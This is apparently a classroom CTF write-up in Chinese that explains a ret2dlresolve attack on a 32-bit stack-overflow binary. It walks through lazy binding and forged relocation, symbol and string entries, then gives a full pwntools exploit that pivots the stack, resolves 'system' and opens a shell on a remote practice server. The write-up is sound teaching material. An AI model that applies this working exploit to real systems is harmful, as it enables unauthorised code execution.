一道课堂练习,新知识

1 程序分析

首先,查看程序保护机制,如下所示,启用了栈不可执行机制,所以不可以直接注入shellcode,考虑构造ROP绕过。

1
2
3
4
5
6
7
8
pwn checksec stack

[*] '/home/kali/code/stack/stack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

将程序放入IDA中反汇编,可以看到buf数组分配了0x28字节空间,而read函数最多可以读入0x40字节的数据,存在明显的栈溢出,但可以读入的数据有限。除此以外,没有其他明显的可以利用的函数。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main()
{
alarm(0xAu);
sub_804843B();
return 0;
}
ssize_t sub_804843B()
{
char buf[40]; // [esp+0h] [ebp-28h] BYREF
return read(0, buf, 0x40u);
}

2 还原read函数调用

程序在调用外部共享库中的函数read时,需要对这个函数的运行时地址进行重定位再执行。在Linux程序运行中,采用延迟绑定技术(Lazy Binding)进行定位,即将函数的重定位过程推迟到第一次调用函数的时候。

如图所示为延迟绑定流程示意图,程序调用read函数时,在plt表中执行了一个判断解析小函数。首先跳转到got表查看有没有写入真实地址,如果写入了真实值就跳转并调用,如果没有写入,则执行解析,即跳转到plt的下一条命令。解析流程:

  • 将对应函数的ID压入栈中,这个ID在32位中压入值为offset,在64位中压入index。其中ID对应动态链接器第二个参数。
  • 紧接着跳转到PLT[0],即动态链接器。
  • PLT[0]中先通过GOT[1]将动态链接器第一个参数压入栈中,然后通过GOT[2]模块入口跳转到动态链接器,即jmp到_dl_runtime_resolve函数。
  • image-20250407224201594

plt表,其中read_plt地址为0x8048300,read_got地址为0x804a00c,alarm_got地址为0x804a010,plt段起始地址为0x80482f0。

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) x/10i 0x80482f0
0x80482f0: push 0x804a004
0x80482f6: jmp *0x804a008
0x80482fc: add %al,(%eax)
0x80482fe: add %al,(%eax)
0x8048300 <read@plt>: jmp *0x804a00c
0x8048306 <read@plt+6>: push $0x0
0x804830b <read@plt+11>: jmp 0x80482f0
0x8048310 <alarm@plt>: jmp *0x804a010
0x8048316 <alarm@plt+6>: push $0x8
0x804831b <alarm@plt+11>: jmp 0x80482f0

如图所示,查看系统函数的重定位表,可以看到第一次push的参数即为函数相对于.rel.plt表中的偏移,read为0x0,alarm为0x8。该参数传给dl_resolve函数的reloc_arg,标识要解析的函数。

image-20260613162706192

关于link_map参数,用于定位共享库信息的结构指针,在链接时已经写入。

3 _dl_runtime_resolve

执行_dl_runtime_resolve(link_map, reloc_arg)进行函数解析,执行过程涉及到dynamic段的三种表:symtab、strtab、reloc

1
2
3
4
5
6
7
8
9
10
symbol table
typedef struct
{
Elf32_Word st_name; //string tbl index 索引
Elf32_Addr st_value; //将要解析的函数在libc中的偏移地址
Elf32_Word st_size; //符号长度
unsigned char st_info; //st_info=0x12,STB_GLOBAL 全局 1,STT_FUNC 函数 2

}Elf32_Sym;

1
string table
1
2
3
4
5
6
7
8
9
10
relocation table
typedef struct {
Elf32_Addr r_offset;
//addr 注:因为link_map一般指向link_addr的0地址
//解析后got表中存放函数真实地址的位置
Elf32_Word r_info;
//relocation type and symbol index
//r_info = (((sym) << 8) + ((type) & 0xff)) 32bit
} Elf32_Rel;

_dl_runtime_resolve压入两个参数后即调用_dl_fixup。

_dl_fixup(link_map ,reloc_arg)执行流程:

  1. 提取symtab和strtab(两张大表,后通过reloc定位条目)
  2. 通过参数reloc_arg计算入口地址, DT_JMPREL + reloc_offset 即.rel.plt + reloc_arg
  3. 通过reloc -> r_info找到symbol table中对应的条目
  4. 通过reloc -> r_offset + l_addr(一般是0) = rel_addr(准备写的地址)
  5. 检查r_info的类型,即检查reloc -> r_info的最低位是否==0x7
  6. 通过strtab + sym->st_name找到符号字符串,求libc基地址result = _dl_lookup_symbol_x( strtab + sym -> st_name(函数名),…)
  7. value = 目标函数与libc基地址的偏移地址,真实地址 = 基地址 + st_value
  8. 写入got表

下面尝试还原read()定位过程,如重定位表中所示,rel_addr=r_offset+0=0x0804a00c,r_info=0x107,即r_index=0x10,r_type=0x7。

image-20260613163212510

如symbol表中所示,symbol_table_addr=0x080481CC,string_table_addr=0x0804822C,所以symbol_table_addr+r_index=0x080481CC+0x10=0x080481DC,指向symbol table中的read条目,string_table_addr+st_name找到‘read‘,即函数名称。

image-20260613163054060

image-20260613163144305

综上,我们希望将string table中的传入的func_name由read改为system,即可实现攻击。如图所示,为了实现该目的,需要制造假的reloc、symtab、strtab三个结构体,以索引到假的调用条目。

image-20260613163254100

4 payload构造

第一步,由于栈溢出的空间比较小,构造ROP将栈劫持到bss段。

1
2
3
4
5
6
payload1 = b'A' * 0x28 //填充
payload1 += p32(bss_rbp) //修改rbp
payload1 += p32(read_plt) + p32(leave_ret) //返回地址
payload1 += p32(0) + p32(bss_rbp) + p32(0x200) //read参数

p.send(payload1)

第二步,构造假的调用条目,payload2期望构造的栈结构如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
plt[0]
-------------------------------------------------------------------
fake offset //已经被push进去的offset
-------------------------------------------------------------------
ret_addr
-------------------------------------------------------------------
arg
-------------------------------------------------------------------
fake rel
...
//r_sym = (fake_sym_addr-dynsym_addr)/sizeof(ELF_sym_struct)
//r_type = 0x7 = JMP_SLOT
//r_info = (((sym) << 8) + ((type) & 0xff)) 32bit info计算
//可以直接r_info = (r_sym << 8) | 0x7
-------------------------------------------------------------------
fake sym
...
//st_name = fake_str_addr-dynstr_addr
//st_bind = 1 global
//st_type = 2 func
//st_info = 0x12
-------------------------------------------------------------------
fake str
function name --> "system\x00"

5 获得flag

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
exp_suc.py

from pwn import *
file_name = './stack'
method = 'remote' # 'remote' 或 'local' 或 'debug'
solution = 1

gdb_commands = """
break *0x0804843b
continue
"""

if method == 'remote':
p = remote('124.16.75.116',52003)
if method == 'local':
p = process(file_name)
if method == 'debug':
context.log_level = 'debug'
p = gdb.debug(file_name, gdb_commands)

p.info(f"method: {method:^10}\nsolution: {solution:^10}")

elf = ELF(file_name)

read_plt = elf.plt['read'] # 0x8048300
read_got = elf.got['read'] # 0x804A00C
alarm_got = elf.got['alarm']

bss_addr = 0x0804a020
vul_addr = 0x0804843b

plt_0 = 0x080482f0
rel_plt = 0x080482b0
dynsym_addr = 0x080481cc
dynstr_addr = 0x0804822c

leave_ret = 0x08048455
bss_rbp = bss_addr + 0x800
fake_rel_addr = bss_rbp + 0x20
fake_sym_addr0 = fake_rel_addr + 0x2c
align = ((fake_sym_addr0 - dynsym_addr) & 0xf)
fake_sym_addr = fake_sym_addr0 + align
system_addr = fake_sym_addr + 0x20
bin_sh_addr = system_addr + 0x7

fake_rel_offset = fake_rel_addr - rel_plt
rop = (p32(0) + p32(plt_0) + p32(fake_rel_offset) + p32(0) + p32(bin_sh_addr)).ljust(0x20, b'\x00')

fake_sym_index = (fake_sym_addr - dynsym_addr) // 0x10
r_info = (fake_sym_index << 8) | 0x7
fake_rel_plt = (p32(alarm_got) + p32(r_info)).ljust(0x2c, b'\x00')
st_name = system_addr - dynstr_addr
fake_sym = (p32(st_name) + p32(0) + p32(0) + p32(0x12)).ljust(0x20,b'\x00')

strings = b"system\x00/bin/sh\x00\x00"

payload1 = (b'A' * 0x28 + p32(bss_rbp) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_rbp) + p32(0x200)).ljust(0x40, b'\x00')
p.send(payload1)

payload2 = rop + fake_rel_plt + fake_sym + strings
p.send(payload2)

p.interactive()

如图所示,执行exp代码获得shell,进而获得flag。

image-20260613163320870